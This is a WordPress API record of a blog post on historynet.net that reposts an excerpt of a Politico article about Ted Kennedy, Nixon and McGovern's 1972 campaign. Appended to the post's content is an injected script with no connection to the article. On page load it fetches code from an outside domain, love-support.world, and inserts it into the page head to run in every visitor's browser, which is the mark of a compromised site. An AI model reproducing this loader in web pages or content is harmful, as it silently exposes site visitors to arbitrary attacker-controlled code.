{"id":6617,"date":"2022-10-31T03:57:50","date_gmt":"2022-10-31T03:57:50","guid":{"rendered":"https:\/\/historynet.net\/?p=6617"},"modified":"2022-10-31T03:57:50","modified_gmt":"2022-10-31T03:57:50","slug":"memorandum-was-nixons-reelection-ted-kennedys-fault-2","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2022\/10\/31\/memorandum-was-nixons-reelection-ted-kennedys-fault-2\/","title":{"rendered":"Memorandum: Was Nixon\u2019s Reelection Ted Kennedy\u2019s Fault?"},"content":{"rendered":"<div><img src='https:\/\/locker.ifttt.com\/v2\/28760129\/1667188669799-691da7cab528d969\/7750774b5c250167baf0dd9e2595198b31ec1f41e4d467170f13805a5a5be6dd\/ce4101a0-img_1362.jpg?sharing_key=0833d38c96b93064857977ced36a2d21' style='max-width:600px;' \/><\/p>\n<div>\n<blockquote class=\"embedly-card\" \n<p> data-card-key=\"0aeedbb5219f4affa47f14d667339550\"\ndata-card-type=\"article-full\"><\/p>\n<h4><a href=\"\nhttps:\/\/www.politico.com\/news\/magazine\/2022\/10\/30\/ted-kennedy-nixon-accountable-00064110\">Ted<br \/>\nKennedy Had a Chance to Hold Nixon Accountable. Why Didn&#8217;t<br \/>\nHe?<\/a><\/h4>\n<p>Senator George McGovern and his staff were desperate as the<br \/>\nDemocrats slogged into the final weeks of his 1972 campaign against<br \/>\nPresident Richard Nixon. The Democratic Party was broke, dispirited and<br \/>\ndivided. Nixon had stoked the economy and forecast &#8220;peace with honor&#8221; in<br \/>\nVietnam. Only the trifling cloud called Watergate shadowed the president&#8217;s<br \/>\nexpected victory.<\/p>\n<\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\"\ncharset=\"UTF-8\"><\/script><\/div>\n<\/div>\n<p><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ted Kennedy Had a Chance to Hold Nixon Accountable. Why Didn&#8217;t He? Senator George McGovern and his staff were desperate as the Democrats slogged into the final weeks of his 1972 campaign against President Richard Nixon. The Democratic Party was broke, dispirited and divided. Nixon had stoked the economy and forecast &#8220;peace with honor&#8221; in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[3],"tags":[],"class_list":["post-6617","post","type-post","status-publish","format-standard","hentry","category-_externaldispatch"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/6617","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=6617"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/6617\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=6617"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=6617"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=6617"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}